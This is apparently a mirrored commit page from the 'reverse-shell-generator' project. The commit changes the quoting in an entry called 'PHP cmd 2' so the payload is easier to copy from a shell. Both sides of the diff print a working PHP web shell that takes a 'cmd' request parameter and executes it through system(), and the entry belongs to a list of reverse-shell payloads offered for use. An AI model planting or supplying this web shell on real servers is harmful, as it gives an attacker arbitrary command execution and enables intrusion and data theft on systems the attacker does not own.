mirror of
https://github.com/0dayCTF/reverse-shell-generator.git
synced 2024-12-18 19:06:09 +00:00
use uniform quotes on "PHP cmd 2" payload
minor inconvenience, but copying this particular payload from a bash shell is tedious because it mixes single and double quotes (`"`/`'`) use only double quotes.
This commit is contained in:
parent
5bcd1cd5db
commit
083e319dd5
@ -158,7 +158,7 @@ const reverseShellCommands = withCommandType(
|
|||||||
},
|
},
|
||||||
{
|
{
|
||||||
"name": "PHP cmd 2",
|
"name": "PHP cmd 2",
|
||||||
"command": "<?php if(isset($_REQUEST[\'cmd\'])){ echo \"<pre>\"; $cmd = ($_REQUEST[\'cmd\']); system($cmd); echo \"<\/pre>\"; die; }?>",
|
"command": "<?php if(isset($_REQUEST[\"cmd\"])){ echo \"<pre>\"; $cmd = ($_REQUEST[\"cmd\"]); system($cmd); echo \"<\/pre>\"; die; }?>",
|
||||||
"meta": ["linux", "windows", "mac"]
|
"meta": ["linux", "windows", "mac"]
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
|
Loading…
Reference in New Issue
Block a user